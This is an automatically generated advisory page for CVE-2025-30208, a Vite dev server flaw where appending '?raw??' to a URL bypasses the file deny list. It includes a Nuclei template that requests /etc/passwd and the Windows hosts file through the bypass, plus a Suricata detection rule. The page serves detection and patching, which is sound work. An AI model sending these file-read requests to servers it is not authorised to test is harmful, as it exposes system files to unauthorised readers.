CVE-2025-30208: Vite bypasses server.fs.deny when using `?raw??`

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-30 07:36 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.

Description quoted from the CVE record (assigned by GitHub_M, published 2025-03-24).

Weakness: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor; CWE-284: Improper Access Control

How it can be exploited

Exploitable over the network with high attack complexity needing no privileges and a user must take an action. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 2 Exploit-DB entries, 1 Nuclei template and 44 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 59 references on Exploit Observer

Live scores

EPSS
0.170
likely to be attacked soon
VEDAS
0.991
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Vitejs viteversion < 4.5.10
version >= 5.0.0, < 5.4.15
version >= 6.0.0, < 6.0.12
version >= 6.1.0, < 6.1.2
version >= 6.2.0, < 6.2.3
Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Vite - Information Disclosure

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists.

Name and description quoted from the template, written by VEDAS.

The template sends 4 requests (GET /, GET /etc/passwd?raw, GET /etc/passwd?raw??, GET /C:/Windows/System32/drivers/etc/hosts?raw); it decides using regex, status, word matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-30208.yaml
Show the template (53 lines)
yaml
id: CVE-2025-30208

info:
  name: "Vite - Information Disclosure"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2,
    6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??`
    or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-30208&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=arbitraryfileread&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-30208
    cwe-id: CWE-284
  metadata:
    verified: false
  tags: cve,cve2025,arbitrary-file-read,vite,CVE-2025-30208,vkev,vuln,arbitraryfileread
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "vite"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/etc/passwd?raw"
      - "{{BaseURL}}/etc/passwd?raw??"
      - "{{BaseURL}}/C:/Windows/System32/drivers/etc/hosts?raw"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "Copyright \\(c\\).*Microsoft Corp"
        condition: or

      - type: status
        status:
          - 200

CVE-2025-30208.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-30208 Vite - Information Disclosure. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-30208 Vite - Information Disclosure"; flow:established,to_server; http.uri; content:"/etc/"; nocase; fast_pattern; pcre:"/\/(?:etc\/passwd|windows\/system32\/drivers\/etc\/hosts)\?(?:[^#]*&)?raw/i"; classtype:web-application-attack; reference:cve,CVE-2025-30208; reference:url,https://www.exploit.observer/?keyword=CVE-2025-30208&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=arbitraryfileread&match=exact; sid:1011494; rev:2;)

CVE-2025-30208.rules on GitHub

Advisories on this CVE

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners